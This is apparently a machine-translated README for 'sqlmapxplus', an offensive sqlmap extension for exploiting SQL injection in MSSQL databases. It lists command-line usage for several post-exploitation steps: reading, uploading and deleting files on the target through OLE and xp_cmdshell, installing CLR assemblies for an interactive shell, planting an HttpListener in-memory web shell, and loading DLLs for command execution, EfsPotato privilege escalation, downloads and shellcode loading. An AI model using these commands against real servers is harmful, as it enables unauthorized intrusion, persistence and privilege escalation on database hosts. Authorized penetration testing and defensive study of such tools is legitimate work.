ในการฝึกซ้อมการโจมตีและการป้องกันระดับภูมิภาคจำนวนมาก การแทรกสแต็กฐานข้อมูล SQL Server ยังคงมีความถี่สูงในการเจาะหลุม อย่างไรก็ตาม เนื่องจากข้อจำกัดสถานการณ์การเจาะทั่วไปบางประการ เช่น ไม่มีการเข้าถึงเครือข่าย สิทธิ์ต่ำ การแยกไซต์และฐานข้อมูล การป้องกันเทอร์มินัล ความยาก ในการออนไลน์ การบำรุงรักษาสิทธิ์นั้นยุ่งยาก และมีเพียง --os-shell เพียงอันเดียวเท่านั้นที่ไม่สามารถตอบสนองความต้องการของเราได้อีกต่อไป
sqlmapxplus ขึ้นอยู่กับ sqlmap โดยเปิดเครื่องมือหาช่องโหว่ฐานข้อมูลแบบคลาสสิกอีกครั้ง โดยอ้างอิงถึงโซลูชันต่างๆ และเพิ่มวิธีการใช้การฉีดฐานข้อมูล MSSQL ปัจจุบัน ส่วนหนึ่งของการพัฒนาครั้งที่สองเสร็จสมบูรณ์แล้ว ซึ่งรวมถึงการอัปโหลดไฟล์ของ ole และฟังก์ชันการโหลดเชลล์โค้ดอัตโนมัติ
คำแนะนำในการอัปเดต 20240508 : ฟังก์ชั่นใหม่ที่เพิ่มเข้ามาของการเปิด ole, ฟังก์ชั่นใหม่ของการอ่านไฟล์ที่ระบุ, ฟังก์ชั่นใหม่ของการย้ายไฟล์ที่ระบุ, ฟังก์ชั่นใหม่ของการคัดลอกไฟล์ที่ระบุ, ฟังก์ชั่นใหม่ของการลบไฟล์ที่ระบุ, ฟังก์ชั่นใหม่ในการกำหนดตำแหน่งของไฟล์ที่ระบุ, ใหม่ ฟังก์ชั่นของการจัดเก็บ ฟังก์ชั่นแบบสอบถามกระบวนการ, ฟังก์ชั่นการลบกระบวนการที่เก็บไว้ใหม่, แก้ไขวิธีการอัปโหลด ole, แก้ไขกระบวนการติดตั้ง clr, แก้ไขวิธีการดำเนินการคำสั่ง clr, ลบข้อผิดพลาดที่เกิดจากความคิดเห็นภาษาจีน
มุ่งเป้าไปที่ปัญหาความล้มเหลวในการติดตั้ง clr ที่เกิดจากการสูญเสียการส่ง dll ในระหว่างกระบวนการเครือข่ายจริง (วิธีแก้ปัญหาชั่วคราว) พบว่า clr dll ที่ใช้ในฟังก์ชัน --install-clr ดั้งเดิมมีขนาดใหญ่เกินไปและมีการฉีดจำนวนมาก มักจำเป็นในการต่อสู้จริง หากกระบวนการฉีดมีข้อผิดพลาดบางอย่างจะทำให้ dll ล้มเหลวและไม่สามารถป้อน dll ได้สำเร็จ กระบวนการติดตั้งอัตโนมัติแบบคลิกเดียวดั้งเดิมจะถูกลบและแก้ไขเพื่อให้ผู้ใช้ปรับแต่งได้ การติดตั้ง dll ตามสถานการณ์เป้าหมายจริงและเพิ่ม --check- ไฟล์ชั่วคราว ตัวเลือกนี้จะกำหนดว่าไฟล์ dll ลงจอดบนโฮสต์เป้าหมายได้สำเร็จหรือไม่ เพิ่ม --check-clr ชั่วคราวเพื่อตรวจสอบว่าโหลดฟังก์ชันที่ผู้ใช้กำหนดในฐานข้อมูลสำเร็จหรือไม่
เหตุใดปัญหาการขยาย dll จึงเกิดขึ้นในระหว่างกระบวนการอัปโหลด การแปลงเป็นเลขฐานสิบหกแล้วกู้คืนทำให้ไฟล์เพิ่มขึ้น ตัวอย่างเช่น ตัวอักษร A จะถูกแปลงเป็น 41 ในเลขฐานสิบหก ซึ่งจะทำให้ขนาดเพิ่มขึ้นเป็นสองเท่า
ปัญหาในการปรับแต่ง clr (เสร็จสมบูรณ์) การติดตั้ง clr ได้รับการแก้ไขเพื่อให้จำเป็นต้องระบุเส้นทาง clr.dll ที่กำหนดเอง ป้อนชื่อคลาสที่ผู้ใช้กำหนดในกล่องพร้อมท์และชื่อวิธีที่ผู้ใช้กำหนด clr_shell วิธีการดำเนินการฟังก์ชัน clr ในโหมด clr_shell ถูกแก้ไขเป็น: ฟังก์ชั่นที่ผู้ใช้กำหนดส่งผ่านพารามิเตอร์ (เสร็จสมบูรณ์)
File system access: --xp-upload upload file by xp_cmdshell --ole-upload upload file by ole --check-file use xp_fileexis check file exist --ole-del delete file by ole --ole-read read file content by ole --ole-move move file by ole --ole-copy copy file by ole Operating system access: --enable-clr enable clr --disable-clr disable clr --enable-ole enable ole --check-clr check user-defined functions in the database --del-clr delete user-defined functions in the database --install-clr install clr --clr-shell clr shell --sharpshell-upload1 sharpshell upload1 --sharpshell-upload2 sharpshell upload2
เกี่ยวกับโอเล่ :
# 开启 ole 利用功能 python sqlmap.py -r/-u xxx --enable-ole # 通过 ole 上传文件 python sqlmap.py -r/-u xxx --ole-upload local_file_path --file-dest remote_file_path # 通过 ole 删除指定文件 python sqlmap.py -r/-u xxx --ole-del remote_file_path # 通过 ole 阅读指定文件 python sqlmap.py -r/-u xxx --ole-read remote_file_path # 通过 ole 移动并重命名文件 python sqlmap.py -r/-u xxx --ole-move remote_file_path1 --file-dest remote_file_path # 通过 ole 复制文件 python sqlmap.py -r/-u xxx --ole-copy remote_file_path1 --file-dest remote_file_path2 # 通过 ole 实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload2
ฟังก์ชั่นอื่นๆ:
# 通过 xp_cmdshell 上传文件 python sqlmap.py -r/-u xxx --xp-upload local_file_path --file-dest remote_file_path # 使用 xp_fileexis 来检查文件是否存在 python sqlmap.py -r/-u xxx --check-file remote_file_path # 查询数据库中是否存在用户自定义函数 python sqlmap.py -r/-u xxx --check-clr clr_function_name # 删除用户自定义函数 python sqlmap.py -r/-u xxx --del-clr clr_function_name # 通过 xp_cmdshell实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload1
เกี่ยวกับ clr :
# 开启 clr 利用功能 python sqlmap.py -r/-u xxx --enable-clr # 关闭 clr 利用功能 python sqlmap.py -r/-u xxx --disable-clr # 进入 clr 安装模式 python sqlmap.py -r/-u xxx --install-clr # 进入 clr-shell 命令交互模式 python sqlmap.py -r/-u xxx --clr-shell # clr dll 参考如下,更多其他dll请参考星球获取 # 存储过程类名Xplus,存储过程函数名需要注意大小写,分别为 # ClrExec、ClrEfsPotato、ClrDownload、ClrShellcodeLoader # 对应项目目录下单独功能的dll,分别为 clrexec.dll clrefspotato.dll clrdownload.dll clrshellcodeloader.dl
บัญชีสาธารณะ: สงครามไซเบอร์
โลกแห่งความรู้: คู่มือการทดสอบการเจาะระบบ
ลิงก์อ้างอิงสำหรับเวอร์ชันเก่า: https://mp.weixin.qq.com/s/nTYPKnl9XQLWhZ43sQV3xw
ลิงค์อ้างอิงสำหรับเวอร์ชั่นใหม่: https://mp.weixin.qq.com/s/6RpxXitEPt8rA1DFb56Oxw
https://github.com/sqlmapproject/sqlmap
https://github.com/uknowsec/SharpSQLTools
https://github.com/Anion3r/MSSQLProxy
https://mp.weixin.qq.com/s/X0cI85DdB17Wve2qzCRDbg
https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/